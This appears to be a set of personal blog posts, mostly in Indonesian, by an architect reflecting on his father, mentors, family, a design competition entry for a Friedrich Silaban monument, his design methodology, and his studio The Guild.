Akhirnya saya bertemu pak Teddy sebelum pada saat itu sata bertemu almarhum pak Adhi Moersid. Saya diceritakan mengenai prinsip – prinsip hidup berelasi dengan engineer dan menegaskan bahwa empati, hati diperlukan di dalam menjalani praktik. Ternyata beliau adalah insinyur struktur dari Said Naum, yang merupakan partner almarhum Pak Adhi Moersid dan Atelier 6 Arsitek. Teddy Boen hanya berkata your dad is really good person, teliti dalam bekerja dan tidak omong besar. Hidup ini memang berputar seperti pasir di pantai kadang ia tertarik ke dasar lautan mendalami prinsip hidup untuk kembali ke daratan mendalami bahwa semua hal ini terelasi.Le Corbusier memahami ini di dalam gambaran saat – saat dirinya bermain di pantai dan menemukan poetic objet, dari situ ia memahami bahasa alam melalui kerang, bentuk alam.
Setelah saya selesai menemui almarhum Adhi Moersid dan Teddy Boen. Pak Teddy menitipkan 10 buah buku dan prototipe rumah tahan gempa yang berguna untuk masyarakat yang adalah dokumen publik. Saya kembali ke rumah ayah saya. Saya ingat ia menyambut ke depan dan langsung menanyakan, gimana sudah bertemu ? Saya mengiyakan dan melihat matanya berbinar – binar.
In English :
My father’s name is Asnawi Sjarief. He is not as agile as my mother but has sharp eyes like an eagle. He is a badminton player who became a Teluk Betung eagle; although his body is small, he is famous for his jumping smash. He witnessed the greatness of a legendary Indonesian coach Tong Sin Fu in practicing reflexes, playing techniques with high training ethos, and fighting when he had to defend his life principles. Tong Sin Fu is now training Lin Dan and other world calibers to become world champions. In the past, Uncle Tong had coached Icuk Sugiarto, Alan Budikusuma, Ardy Wiranata, Hariyanto Arbi, Hendrawan. He taught his students to win dozens of titles, including 3 Olympics, the Thomas Cup, Uber, and many other trophies. For me, the figures of Tong Sin Fu and my father are the primary figures of how architects need to have principles of life and intensive practice.
We were apart when I was born. My mom supported him initially, and we had to move to Jakarta from Surabaya when I was ten years old. My father worked in Jakarta, and my mom, me, and brothers stayed in Surabaya.
He watched his team closely and cared for them, like his family. Even though he was bankrupt, he managed to find money and a job for them.
I remember he woke up very early, 5 a.m., and went to the site to check his team’s work from time to time, from Monday to Monday.
Sometimes during the holiday, we had events with the artisans’ team and supervisor, and their lives became ours. We have a good moment talking about the project at the dining table. I love him so much, and he is my hero, role model, mentor, and always the person who understands my condition. In his life, he put effort into others and his family. He liked his position on the field, and his boss, Teddy Boen, remembered him. Teddy Boen is one of the professors in Earthquake design in Indonesia.
He knew Teddy Boen from our grandfather, and he sustained the relationship for 30 years until now. It’s a sustained relationship between generations of builders, clients, and artisans.
I still remember not having time to chat with my father as he worked in Jakarta. He came to Surabaya when one of the family had a birthday. We used to have a simple birthday party. Our celebration was straightforward like our house, one story, with a terrazzo finish. He built it one by one. He took care of his family by giving us a simple home while working in Jakarta. Sometimes, our grandpa + ma from Lampung came, and I realized they were so proud of my father and mother. Our clothes were so simple, and sometimes, my mom sewed all of the clothes by herself. Our style of clothes is similar. Sometimes many of our grandfather’s siblings came to help my mother. My mom took care of four sons by herself. She likes to bake a cake and socialize in the neighborhood.
My conversation with my father is still ongoing, including when he talked about Teddy Boen and asked me, have you contacted Mr. Teddy Boen?
A father is a lamp for his children, and my father has been called Opa by his grandchildren. I miss visiting my father’s place to listen to him repeat his life stories and meet extraordinary people, including when he talked about Teddy Boen and asked me, have you contacted Mr. Teddy Boen?
Finally, I met Mr. Teddy before that time when I met the late Mr. Adhi Moersid. It turned out that he was a structural engineer from Said Naum, who was a partner of the late Pak Adhi Moersid and Atelier 6 Architect. They told me about the principles of living in a relationship with engineers and emphasized empathy and heart, which is a must in practice. Teddy Boen said your dad is a good person, conscientious in his work, and doesn’t talk big. Life is indeed spinning like sand on the beach. Sometimes we are drawn to the bottom of the ocean to explore the principle of life. Then, we can return to land to explore how all these things are related. Le Corbusier understands this in the picture of moments – when he plays on the beach and finds the poetic object, and he understands the language of nature through shells and natural forms. After meeting the late Adhi Moersid and Teddy Boen, Mr. Teddy entrusted ten books and prototypes of earthquake-resistant houses that are useful for the community, which are public documents.
I returned to my father’s house. I remember he greeted me and immediately asked, how did you meet? I agreed and saw his eyes sparkle.
“Wisdom says we are nothing. Love says we are everything. Between these two our life flows.” – Jack Kornfield
.
Kemarin saya bertemu Hendrick Hengki,ia datang ke The Guild, sudah lama saya tidak bertemu dengan dia. ia aktif di dalam Mindfull Project, sebuah gerakan meditasi yang melayani orang- orang yang membutuhkan ketenangan di dalam bekerja, dan membutuhkan ketenangan di dalam menjalani keseharian. Ia adalah salah seorang yang berbakat dan saya ingat karena Tugas Akhirnya yang menggabungkan kesatuan jiwa, tubuh, dan akal sebuah kesatuan di dalam desain sebuah tempat peribadatan.
.
Saya menyapanya, untuk menanyakan kabar – kabarnya, proyek apa yang sedang ia kerjakan, mendesain beberapa proyek termasuk memperhitungkan fengshuinya. Ia kemudian berbicara “Kak mau saya bantu liat Feng Shui bangunan ini (The Guild) ? ” kemudian ia menjelaskan teori energi, berdasarkan tanggal lahir, bulan lahir. Ia pun meneruskan dan memberikan saran, tempat duduk kakak sebaiknya dipindah kesini kak, ke sisi timur supaya lebih harmonis. Tempat tidur pun harus dirubah kesini. Perubahan – perubahan yang diusulkan tidak terlalu banyak, namun saya terkesan karena keinginannya untuk membantu saya, keluarga, dan studio. Ia datang untuk bertegur sapa, menciptakan perubahan. Ia pun bilang kak, ini efeknya tidak akan langsung, butuh beberapa waktu.
.
Kita di dalam hidup memiliki jalan masing – masing, di tengah persimpangan kita bertemu dan berpisah, bertemu dan berpisah kembali. Di dalam pertemuan itu ada setiap pembelajaran, adalah sebuah kebahagiaan tersendiri begitu melihat murid, sahabat kita berkembang dengan caranya masing – masing, keunikannya masing – masing. Harmoni muncul menampakkan bahasanya.
.
Sunyata in the architecture, how to make holistic experience :) Hendrick Tanuwidjaja grows his mindful project has shared his valuable view for us, me and fam, thank you :)
.
Segregasi di Jakarta saat ini berdampak pada pengelompokkan masyarakat, serta terbentuknya ruang publik yang hanya digunakan oleh golongan tertentu. Hal ini menyebabkan pertentangan serta konflik antar golongan, dimana seharusnya ruang publik merupakan wadah bagi semua golongan masyarakat untuk berkumpul dan berinteraksi satu sama lain. Dari permasalahan tersebut, arsitektur dapat berperan sebagai wadah untuk menyatukan masyarakat baik dalam bentuk kegiatan bersosialisasi, rekerasi, edukasi, dll. Namun dalam penciptaanya diperlukan perhatian khusus pada isu segregasi yang terjadi di masyarakat sehingga ruang publik yang tercipta dapat menyatukan berbagai golongan masyarakat.
SAYEMBARA ARCHITECTURAL DESIGN WEEK 2020
•Early Bird (Rp.130.000,00) 1 Februari 2020 – 1 Maret 2020 •Normal (Rp.180.000,000) 2 Maret 2020 – 20 Maret 2020 (include printing fee)
•Deadline: 22 Maret 2020
Juri: 1. Realrich Sjarief (RAW Architecure) 2. Jacob Gatot Sura (Arcadia) 3. Priscilla E. Ariaji (Untar Academician)
5 karya terbaik akan mendapatkan kesempatan untuk mempresentasikan karyanya di depan dewan juri, dan mendapatkan total hadiah berupa uang tunai sejumlah Rp.13.000.000,00
CP: LINE : @archdesignweek 1. Rinetha Adriane 081517331042 / Line: rinethaadr04 2. Felix Jonathan 081319197912 / Line: felixjonath
Tahun ini umur saya 38 adalah saat – saat yang membuat saya bersyukur karena dikelilingi keluarga dan teman yang luar biasa. Bisa berkarya, bisa terus belajar, bisa terus berbagi. Rasanya itu sudah lebih dari cukup untuk merayakan ulang tahun yang sederhana. Terima kasih Laurensia, dokter gigi terbaik yang menemani langkah – langkah, juga malaikat kecil kami Miraclerich. Malaikat – malaikat kecil yang menjaga langkah kita sebagai orang tua untuk memberikan contoh dan teladan yang baik. Masalah – masalah terus muncul di sekitar kita, dinamisnya pekerjaan arsitek, perjumpaan setiap hari dengan orang – orang yang berbeda, dan ekspektasi desain yang terus berkembang, lalu bagaimana menata tingkatannya untuk menuju sebuah penguasaan yang mumpuni ?
.
Miraclerich, adalah anak pertama kami, ia hidup di dalam lingkungan arsitektur yang kreatif yang dikeliling dengan staff – staff saya di kantor. Tiga kali dalam satu minggu Ia menemani Laurensia ketika berangkat untuk berpraktek, ia biasa dititipkan di orang tua kami untuk menemani orang tua kami yang kangen dengan cucunya. Hal yang paling saya takutkan adalah apabila Miraclerich tumbuh sebagai anak yang egois dan lepas dari konteksnya sebagai makhluk sosial. Dimana kami tidak bisa mengatur Miracle setiap saat seperti mengatur apa yang ia lihat, interaksi apa yang ia lakukan, siapa saja temannya. Miracle sekarang sudah bersekolah, ia berumur 4 tahun. Laurensia berusaha untuk mengatur jadwal Miracle supaya ia bisa mengerti pentingnya pengaturan waktu, mengerti kewajiban untuk belajar mengeja atau menulis dan haknya untuk bermain – main. Terkadang ia meminta ijin untuk menonton youtube, gadget, ataupun bermain – main dengan motoriknya. Di balik cepatnya informasi on-line (Internet of Things) yang ada sekarang ini, Jonah Berger memberikan beberapa informasi bahwa interaksi offline masih memegang peranan penting untuk menunjang sebuah kesuksesan. Ia berkesimpuan bahwa cepatnya informasi tidak membuat manusia kehilangan posisinya sebagai makhluk sosial.
.
Di tahun 2019, kegiatan sehari – hari saya lakukan dengan kegiatan praktek sebagai arsitek, menulis, mendesain, dan mengajar. Di semester pertama 2020 ini, saya mengajar mata kuliah strategi arsitektur berkelanjutan. Sebelum itu, saya menulis buku Methodgram dibantu oleh Anas Hidayat sebagai teman berdiskusi dan rekan penulis, juga Jo Adiyanto sebagai penyunting yang membantu meruntunkan pemikiran saya yang rhizomatik (bercabang – cabang). Hal yang ditulis tersebut berdasarkan dari 7 tahap metodologi desain untuk arsitektur berkelanjutan. Hal ini didapatkan sebagai pengetahuan dasar ketika kerja di Foster and Partners, London yang menurut saya penting untuk dibagikan di dalam membentuk metodologi arsitektur yang berkelanjutan. Metodologi desain berguna karena bisa memetakan permasalahan desain, menyederhanakan permasalahan yang kompleks di dalam skala bangunan yang semakin besar, tim yang semakin beragam, dan waktu yang terbatas. Hal tersebut dimulai dari :
1. Konteks, pemahaman site yang menyeluruh
2. Massa bangunan yang responsif
3. Selubung kulit bangunan
4. konfigurasi ruang dalam
5. Optimalisasi desain sistem mekanikal, elektrikal, dan pemipaan
6. Optimalisasi penggunaan energi dan air
7. Material yang ramah lingkungan
Ketujuh hal tersebut membentuk sebuah hasil relasi antara klien dan arsitek dari analisa tapak, brief, program, desain, dan implementasi. Desain hanyalah satu aspek dari 5 aspek tersebut, hal tersebut merujuk kepada kata “kontekstual” untuk memberikan tanggapan dari lahan, pengguna, dan ilmu desain untuk sendiri melalui analisa ulang terhadap metodologi desain yang dimiliki sebelumnya. Keseluruhan pengalaman ini, ternyata saling terkait satu sama lain membentuk kemajuan yang saling mempengaruhi. Metodologi desain penting untuk bisa dikuasai. Satu saat ketika saya berdiskusi dengan teman saya Nantapon di Bangkok di dalam perjalanan ke Ayuthaya. Ia bertanya mengenai tingkatan kemumpunian seorang arsitek. Saya berusaha merangkum apa yang saya alami, dan menjelaskan ke Nantapon mengenai 5 tingkat kemumpunian.
Tahap pertama adalah, tahap pengenalan diri sendiri untuk mengakui siapa kita, apa yang membentuk kita dan menghargai orang – orang yang membuat kita seperti sekarang untuk membuat kita memulai fase tekun dalam bekerja, cinta dalam berbuat, sebuah perayaan untuk tradisi berbuat dengan sikap untuk selalu belajar, tekun, dan rendah hati, sebuah sikap pengabdian…
Tahap kedua adalah tahap memodifikasi ruang, yang salah satunya adalah teknik sterotomik (melubangi), hal ini dimerupakan proyeksi garis tangan. Proyeksi garis tangan ini adalah sebuah aktualisasi diri yang membutuhkan keberanian untuk menempuh resiko untuk menembus stereotipe bentuk – bentuk yang sudah menjadi asumsi dasar desain…
Tahap ketiga adalah tahap menguasai tektonika grammar, sebuah teknik penguasaan detail di tahap implementasi yang fokus kepada optimalisasi bahan, waktu pengerjaan, dan penemuan alat untuk mempermudah sistem kerja…
Tahap keempat adalah tahap metodologi, dimana desain bisa menyelesaikan masalah yang sulit dan kompleks dengan cara dan strategi yang sederhana …
Tahap kelima adalah evaluasi total, sebuah tahap memutarbalik atau melawan metodologi sendiri, tektonika yang sudah terbangun, ruang yang sudah dicipta, dan titik awal yang menjadi identitas arsitek . Menuju fase lahir kembali … membantu orang lain untuk menemukan jalannya masing – masing
.
Hari ini adalah Tahun baru bulan, adalah saat – saat dimana berkumpulnya keluarga, reuni, dan penanda musim semi dimulai. Betapapun jauhnya seseorang dari rumahnya, setiap orang filosofinya akan berusaha untuk pulang untuk makan bersama. Kemarin saya sampai sedikit terlambat untuk berkumpul bersama keluarga, karena perlu untuk mengunjungi satu pekerjaan di Jakarta Pusat. Ayah saya sudah menunggu untuk sedikit ngobrol dan sedikit berdiskusi tentang proyek – proyek, dari beliau saya belajar untuk sabar, dan menjaga hubungan yang baik dengan orang lain, fokus ke hal – hal yang dasar dan sederhana untuk berkarya. Untuk kami, saat – saat ini adalah saat dimana bulan datang, inilah saat untuk menghargai orang tua, bertemu saudara – saudara dan belajar untuk berbagi di dalam amplop kantong merah merupakan pertanda hati atau cinta yang berisi sebuah harapan untuk keberuntungan, kesuksesan, kesehatan di masa depan untuk kawan – kawan semua dimana semoga kantongnya semakin tebal, jiwanya semakin mulia, dan hidup semakin bahagia menuju ke bulan. Tuhan tolong berkati teman – teman semua supaya selalu dimudahkan jalannya diberi kesuksesan berupa : kesehatan dan rejeki, dan pertemanan yang selama – lamanya dan diberikan sebuah fase untuk lahir kembali.
.
Salam dari kami sekeluarga @laurensiayudith + miraclerich ^^
.
Sayembara ini merupakan eksperimen yang dilakukan untuk memberikan optimalisasi luasan area yang terdesain dengan meletakkan desain massa di sisi yang rawan longsor yang ada di sisi batas bangunan. Lahan gudul yang menjadi lokasi merupakan bekas pertambangan pasir yang merupakan hasil perbuatan penambang yang berusaha menghasilkan keuntungan dari lokasi, mengusahakan yang terbaik yang bisa didapat untuk kepentingannya dan kesejahteraannya.
Seiring dengan perjalanan, dengan contoh di lahan ini, manusia lupa bahwa perlu ada memberi kembali pada alam sehingga lupa untuk mengembalikan apa yang sudah diambil hingga lahan itu menjadi rusak, terbengkalai dan buruk kualitasnya. Oleh karna itu desain dari Earthing Silaban berupaya mengembalikan esensi yaitu kebergunaan dari lahan menjadi hal yang penting untuk memberi makna baru dan kebergunaan baru, yang dimetaforakan dengan sama seperti legenda Tungkot Tunggal Panaluan, yaitu memaknai sebuah kejadian pilu menjadi suatu hal positif dan tidak saling menyalahkan. Bentuk dari Tungko Tunggal Panaluan ini menyiratkan bentuk massa bangunan yang memanjang yang merupakan hasil optimalisasi dari Cut and Fill lahan yang didasarkan kedalam strategi desain arsitektur yang berkelanjutan, efisien, low carbon footprint, dan meminimalisasi dampak lingkungan dengan memperbesar dampak positif dengan mengolah ruang – ruang yang positif.
Konsep perencanaan Monumen Friedrich Silaban didasarkan pada kesadaran untuk mengobati lahan yang rusak dengan prinsip utama bertitik berat pada respon bangunan yang optimal terhadap konteks dengan menyesuaikan bangunan sebagai bagian dari kontur ikut membantu menguatkan kontur berbukit di bagian belakang site, mengamankan lahan dari kemungkinan adanya longsor. Konsep perencanaan Monumen Friedrich Silaban didasarkan pada beberapa prinsip :
Prinsip pertama bertitik erat pada respon bangunan terhadap konteks tanpa merusak lingkungan, Upaya passive cooling juga dilakukan dengan menggunakan corong untuk menangkap angin. Corong berupa dinding dengan skala ketinggian yang massive agar angin terkumpul secara maksimal tanpa halangan. Selain untuk menangkap angin, dinding yang tinggi juga digunakan untuk pencahayaan alami melalui skylight. Skylight ditempatkan di antara fungsi-fungsi ruang sehingga setiap ruang mendapat akses langsung dengan pencahayaan alami.Lokalitas juga tercermin dalam pemilihan material berupa batu kapur putih.
Prinsip kedua berhubungan dengan kebermanfaatan monumen Friedrich Silaban ini terhadap masyarakat sekitar. Beberapa spot dapat digunakan untuk aktivitas publik, seperti tangga masuk yang dibuat lebar agar dapat digunakan pengunjung untuk duduk-duduk, bersantai atau bisa digunakan untuk platform aktifitas publik (pertemuan, pementasan musik, teater dan lain sebagainya
Prinsip ketiga yaitu memberikan jiwa dan karakteristik Friedrich Silaban ke dalam bangunan, menjadikan monumen Friedrich Silaban ini memiliki sifat seperti Silaban itu sendiri. Penggunaan geometri yang sederhana serta pengunaan skala yang humanistis namun monumental yang merepresentasikan kesederhanaan.
Desain dari konsep Silaban Membumi “Earthing Silaban” ini mendemonstrasikan kesederhanaan Silaban dengan reduksi arsitektur yang radikal, meredefinisikan museum sebagai ruang yang bermain dengan cahaya, kesederhanaan, ruang – ruang yang humanis namun monumental.
Sayembara ini dikerjakan di dalam waktu sekitar 4 hari, waktu yang tidak lama karena kesibukan kami, di dalam proses pengerjaan terdapat saat – saat untuk merefleksikan kembali kejernihan metodologi desain. Dan pilihan – pilihan yang muncul dan disepakati di dalam proses diskusi membuat desain dari Museum ini memberikan titik yang baru di dalam proses perencanaan yang lebih solid dan radikal.
Impression
Konteks
Methodology
Methodology
Methodology
Impression
Impression
Impression
Design Team :
Principal : Realrichsjarief
Team : Alifian Kharisma, Fakhriyah Khairunnisa, Thomas Santoso, Michael Chen, Timbul Simanjorang, Kanigara Ubazti.
.
Juror :
1. Ir. Diana Kusumastuti, MT. / Direktur Bina Penataan Bangunan, Direktorat Jenderal Cipta Karya Kementerian PUPR
2. Sahat Silaban, SE / Pengagas Monumen Friedrich Silaban
3. Drs. Tonny Sihombing, M.IP / Pemerintah Daerah Kab. Humbang Hasundutan
4. Prof. Ir. Gunawan Tjahjono, IAI., M.Arc., Ph.D / Ikatan Arsitek Indonesia
5. Ir. Baskoro Tedjo MSEB,Ph.D / Ikatan Arsitek Indonesia
6. Boy Brahmawanta Sembiring, IAI, AA / Ikatan Arsitek Indonesia Sumatera Utara
7. Setiadi Sopandi, IAI., ST., M.A.rch / Penulis Buku Friedrich Silaban
.
#realricharchitectureworkshop #rawarchitecture #spirit45theriseofasia
Sudah sekitar hampir 2 tahun sejak 2018 diri ini tidak menulis di catatan Mayonnaise Jar, salah satu alasannya adalah saya membutuhkan waktu untuk mengorientasikan tulisan saya kembali. Hal ini adalah sebuah proses dimana perlu untuk mereposisikan tujuan dalam keseharian. Setelah 2 tahun ini, baru kali ini bisa memiliki jeda di dalam praktek karena sistem studio sudah berjalan, dan ada banyak asisten dan tim yang membantu saya. Di dalam perubahan tersebut saya menghindari hubungan dengan klien yang tidak cocok, memperkecil tim, dan mendekatkan diri dengan proses dialog dengan klien dan memperkaya riset arsitektural. Laurensia pun sibuk membantu di studio untuk mengatur manajemen studio di sela – sela kesibukannya sebagai dokter gigi. Ia menangani studio sebelum membimbing Miracle di dalam mengerjakan pr – prnya.
Miraclerich pun mengalami perubahan yang pesat dari 2 tahun menuju 4 tahun, ia sudah bisa mengatur dirinya sendiri, buang air sendiri, belajar sendiri, mandi sendiri, ia mencoba untuk mandiri dan tidak bergantung dari kami. Miraclerich sudah bisa mulai makan sendiri dan mulai tidak merepotkan mamanya meskipun ia masih belum bisa tidur sendiri. Dan kakinya masih suka menendang kepala yang seringkali membangunkan di pagi – pagi subuh yang berguna untuk mengingatkan untuk memiliki saat teduh di pagi hari.
Perubahan di dalam pekerjaan ini ditandai dengan mulai nampak proyek – proyek dengan klien – klien yang sungguh menghargai apa yang sedang kami kerjakan. Klien – klien tersebut mengapresiasi kami, dan untuk membuat saya semakin bersemangat menulis dengan dasar merefleksikan ulang. Setiap hari saya menulis dan akhirnya tulisan tersebut membentuk cerita tentang proyek, tektonika, metode desain. Hal ini tertuang ke dalam 4 buku RAW Architecture : The Guild, Dancer House, Tectogram, Methodgram yang membantu reposisi titik awal tersebut ke titik yang baru dimana evaluasi beberapa teori yang berbeda bisa dilakukan yakni teori yang membentuk titik awal (origin), teori mengenai penggubahan ruang, teori mengenai tektonika, dan teori mengenai metode desain. ke 4 buku tersebut saya tulis bersama Anas Hidayat, seorang dalang dari Surabaya.
Mas Anas itu seperti kungkang, saya pernah berbicara, ia kadang tidak responsif kalau saya sedang membutuhkannya di dalam penulisan buku, namun ia memiliki cara tafsir yang unik. Sehingga perenungannya membantu saya di dalam berproses.
Setelah buku – buku tersebut selesai dipublikasikan, saya merasa di titik ini tidak dibutuhkan drama – drama di dalam proyek yang memang tidak perlu. Dengan keseharian yang ada sekarang kebahagiaan bisa dirasakan dengan keseharian bersama laurensia, miracle, dan kawan – kawan sedulur dan beberapa kawan yang bisa langsung dekat meski baru kenal.
The Guild adalah representasi komposisi adaptasi total dengan permainan berbagai material yang berbeda – beda yang dikonstruksikan untuk semakin ringan, mudah, murah.
Setiap pojok di Guha adalah cerita tentang proses yang terjadi, perubahan tempat, konstruksi, penambahan konstruksi yang seringkali ditandai dengan mutilasi terhadap bentuk – bentuk yang terjadi dengan tujuan eksperimentasi untuk membuat teknik yang semakin ringan, mudah dan murah. Mutilasi adalah sebuah daya eksperimen yang berani untuk memotong, menambah, merubah ulang desain yang sudah terkotak – kotak di dalam iterasi sebelumnya. Mutilasi ini adalah tahap adaptasi total, itulah tahap dimana proses pembuatan karya di antara tegangan industri dan tradisional dimana terciptalah komposisi material natural fiber dan material industri. Proses ini membutuhkan kerelaan untuk menciptakan iterasi dari proses konsep sampai keterbangunan di dalam lingkaran untuk terus belajar dan bereksperimen. Guha adalah representasi komposisi adaptasi total dengan permainan berbagai material yang berbeda – beda yang dikonstruksikan untuk semakin ringan, mudah, murah. Ketukangan itu ada di balik bentuk yang memukau, ia ada dengan bahasa sehari – hari, kemudahan yang mudah dalam konstruksi dan perawatan.
.
Ada beberapa hal yang saya sangat banggakan di dua tahun ini. Dua tahun ini saya mencoba mencarikan pekerjaan untuk tim pengrajin bambu saya asli Sumedang dan akhirnya berhasil dengan adanya klien – klien yang tertarik untuk bereksperimen. Memang sulit mencari klien yang mau melakukan eksperimen. Banyak orang mencari proyek bambu hanya untuk membangun bangunan yang super murah yang akhirnya tidak realistis karena semurah – murahnya bambu ia perlu dirawat dan dicintai.
Saya mendapatkan proyek renovasi – renovasi kecil untuk mereka selama itu juga proyek eksperimen bisa terus dilakukan di tahun pertama. Terkadang kami harus membantu dapur tukang – tukang kami supaya bisa menyambung hidup. Ada yang keluarganya sakit, ada yang anaknya sakit. Terkadang di dalam pekerjaan juga tidak mudah, banyak juga yang menunggu – nunggu saya untuk instruksi lanjutan, sedangkan saya terkadang masih membutuhkan waktu untuk berpikir. Setiap daerah memiliki ekosistem praktik arsitekturalnya sendiri yang mewarnai misal ada tidak sumber daya kebun bambu di sekitar, atau ada tidak orang yang ahli membuat konstruksi tersebut. .
Hal yang lain daerah Guha, ada di perbatasan Jakarta dan Tangerang. yaitu di Taman Villa Meruya berada di lokasi yang cukup jauh dari pusat keramaian. Keramaian yang paling dekat adalah tetangga yang membuka warung kopi sederhana. Lokasi yang terpencil ini membuat Guha menjadi sebuah tempat yang tersembunyi, tempat yang sempurna untuk saya bisa menarik nafas sejenak dari hiruk pikuknya Jakarta. Daerah ini adalah daerah yang cukup rawan sejak proses konstruksi, seringnya laptop hilang, motor hilang, penjambretan, rumah kemalingan, pencurian alat bangunan sering terjadi.
Oleh karena itu dinding yang ada di Guha relatif tinggi. Oleh karena itu di sebelahnya diletakkan perpustakaan anak yang tanpa dinding, tempat ini ada tempat rekonsiliasi ulang dimana dengan adanya banyak anak – anak berkunjung, keamanan dan rajutan sosial akan tumbuh. Program – program berbagi buku terus kami lakukan dan semoga bisa makin membesar dengan banyaknya buku yang dibagikan dan dibaca oleh anak – anak. Di depannya ada lapangan bisa bermain badminton
.
Di antara seluruh hal – hal baik yang terjadi, Di titik ini fokus berkarya dibutuhkan, melakukan eksperimen – eksperimen arsitektur, mengevaluasi diri melalui spekulasi- spekulasi teori, menjelajah banyak hal yang perlu masih perlu disempurnakan. Di saat ini waktu untuk diri sendiri dibutuhkan supaya bisa melayani lebih baik, oleh karena itu Guha adalah sebuah tempat yang bisa mewadahi untuk bersembunyi atau ngumpet. Persis seperti namanya yang terdengar seperti gua.
Sayup – sayup suara Miraclerich terdengar
“papa ya kerja terus , ayo makan ! ” ^^
Di antara seluruh hal – hal baik yang terjadi, Di titik ini fokus berkarya dibutuhkan, melakukan eksperimen – eksperimen arsitektur, mengevaluasi diri melalui spekulasi- spekulasi teori, menjelajah banyak hal yang perlu masih perlu disempurnakan. Di saat ini waktu untuk diri sendiri dibutuhkan supaya bisa melayani lebih baik, oleh karena itu The Guild adalah sebuah tempat yang bisa mewadahi untuk bersembunyi atau ngumpet. Sayup – sayup suara Miraclerich terdengar “papa ya kerja terus , ayo makan ! ” ^^Ada beberapa hal yang saya sangat banggakan di dua tahun ini. Dua tahun ini saya mencoba mencarikan pekerjaan untuk tim pengrajin saya asli Sumedang dan akhirnya berhasil dengan adanya klien – klien yang tertarik untuk bereksperimen. Memang sulit mencari klien yang mau melakukan eksperimen. Saya terkadang mendapatkan proyek renovasi – renovasi kecil untuk mereka selama proyek eksperimen bisa terus dilakukan di tahun pertama, terkadang kami harus mmembantu dapur tukang – tukang kami supaya bisa menyambung hidup. Ada yang keluarganya sakit, ada yang anaknya sakit. Terkadang di dalam pekerjaan juga tidak mudah, banyak juga yang menunggu – nunggu saya, sedangkan saya terkadang masih membutuhkan waktu untuk berpikir. Hal yang lain daerah The Guild, ada di perbatasan Jakarta dan Tangerang berada di lokasi yang cukup jauh dari pusat keramaian. Keramaian yang paling dekat adalah tetangga yang membuka warung kopi sederhana. Lokasi yang terpencil ini membuat The Guild menjadi sebuah tempat yang tersembunyi, tempat yang sempurna untuk saya bisa menarik nafas sejenak dari hiruk pikuknya Jakarta. Daerah ini adalah daerah yang cukup rawan sejak proses konstruksi, seringnya laptop hilang, motor hilang, penjambretan, rumah kemalingan, pencurian alat bangunan sering terjadi. Oleh karena itu dinding yang ada di the guild relatif tinggi. Oleh karena itu di sebelahnya diletakkan perpustakaan anak yang tanpa dinding, tempat ini ada tempat rekonsiliasi ulang dimana dengan adanya banyak anak – anak berkunjung, keamanan dan rajutan sosial akan tumbuh. Program – program berbagi buku terus kami lakukan dan semoga bisa makin membesar dengan banyaknya buku yang dibagikan dan dibaca oleh anak – anak.
“Brakkk !!!” Satu pohon kamboja di courtyard The Guild roboh, pohon ini roboh karena kemarin saya meminta pak Darwat supaya tanahnya bisa diratakan, karena rumputnya akan diganti kerikil untuk mempermudah perawatan. Tinggi kerikil yang cukup tebal 25 cm, membuat genangan air tidak terpapar oleh sinar UV. Ketebalan kerikil tersebut mengakibatkan permukaan kerikil selalu kering dan bersih. permukaan kerikil tersebut juga mengakibatkan plaza yang ada di tengah – tengah The Guild bisa digunakan lebih fleksibel tanpa becek, lembap, dan selalu kering. Kursi – kursi bisa diletakkan begitu saja tanpa takut kaki – kaki kursi kotor tertanam tanah. Besok pohon kamboja yang rubuh tersebut akan ditarik dan diberikan penahan supaya bisa tetap berdiri tegak. Ternyata dedaunan pohon tersebut juga terlalu lebat sehingga perlu dipotong, dan dirapihkan. Saya belajar bahwa di balik keringnya dan bersihnya kerikil yang ada, tersedia jaringan pembuangan yang dipikirkan supaya air tidak tergenang. Di balik rubuhnya pohon yang ada di tengah The Guild, ternyata ada pembelajaran yang signifikan . Proses pemotongan tersebut identik dengan proses perapihan keseharian mengorganisasi kehidupan sehari – hari. Dimulai dari barang – barang di sekitar saya sehari hari. Seringkali saya menata file buku supaya teratur meskipun rak yang didesain belum selesai dibuat. Dari pengaturan hal – hal yang kecil tersebut, saya belajar untuk bisa fokus. fokus ke hal penting di hidup kita ^^ tanpa perlu melihat orang lain. Hal tersebut sejalan dengan apa yang dipercaya oleh Alfred Adler bahwa setiap orang membentuk karakternya melalui pengalamannya, dan membentuk masa depannya melalui intepretasi masa depannya sendiri seperti apabila kamu menginginkan sesuatu sebegitu kuatnya maka semesta akan terbuka untukmu. . Di awal – awal tahun 20 20. Saya berkata pada diri saya sendiri untuk “fokus pada tujuan hidupmu, kamu tidak akan punya waktu untuk menilai kejelekan orang lain. Jangan sampai kesibukanmu menilai kualitas orang lain membuatmu lupa akan kualitas dirimu. fokus pada diri sendiri dalam beribadah, bekerja dan untuk terus menerus bebenah menjadi positif. Semoga kita menjadi lebih baik dan lebih bermanfaat.” Baru kemarin saya bertemu dengan bu Tresnowati, beliau orang yang mengajarkan saya membuat core high rise tower dengan baik. Di tahun 2003 saya ingat saya duduk di belakang dia pada saya magang di Atelier 6 Arsitek. Kemarin adalah saat – saat saya menggali informasi mengenai Pak Adhi Moersid, Pak Yuswadi Saliya, dan bagaimana ekosistem Atelier 6 bekerja. Saya berharap bahwa ada sesuatu yang bisa saya berikan untuk mereka. Perbincangan mengarah ke bagaimana Bu Tresnowati memiliki arsip yang detail mengenai Taman Ismail Marzuki dan bagaimana relasi antar personal di dalam proyek yang berjalan bertahun – tahun. Hal tersebut menggarisbawahi bahwa berpraktek di Indonesia, mengerjakan bangunan dengan ruang studio yang memiliki standar internasional tidak mudah dan membutuhkan jam terbang yang solid. . Laurensia dan Miraclerich mengingatkan tentang berjalan berdua – dua. Di dalam tahun yang baru 2020, dua nol dua nol, adalah sebuah tahun untuk berdua – dua, bersama – sama, dari dua menjadi puluhan, dari dua menghasilkan kesempurnaan (0) oleh karena itu ingatlah dari diri sendiri kita berdua – dua lalu karya besar akan lahir. Di dalam saya berintepretasi di tahun 2 0 2 0, ayah saya memberikan celetukan. “Jangan lupa cari ilmu , uang, dan dharma, tiada ketiganya, kamu ngga bisa berbuat lebih.” Celetukan beliau sungguh mendasar dan saya belajar untuk selalu mendengarkan dia. Jadi sebelum berdua – dua, cukuplah akan diri sendiri sebelum mengajak orang lain berjalan bersama. . Genapilah dirimu sendiri barulah matahari bersinar mengajak pasanganmu untuk mencinta dan awalilah perjalanan 2020 penuh kasih, yuk mari berjalan. .
I visited Boonserm's work with Nantapon photo cr to Nantapon
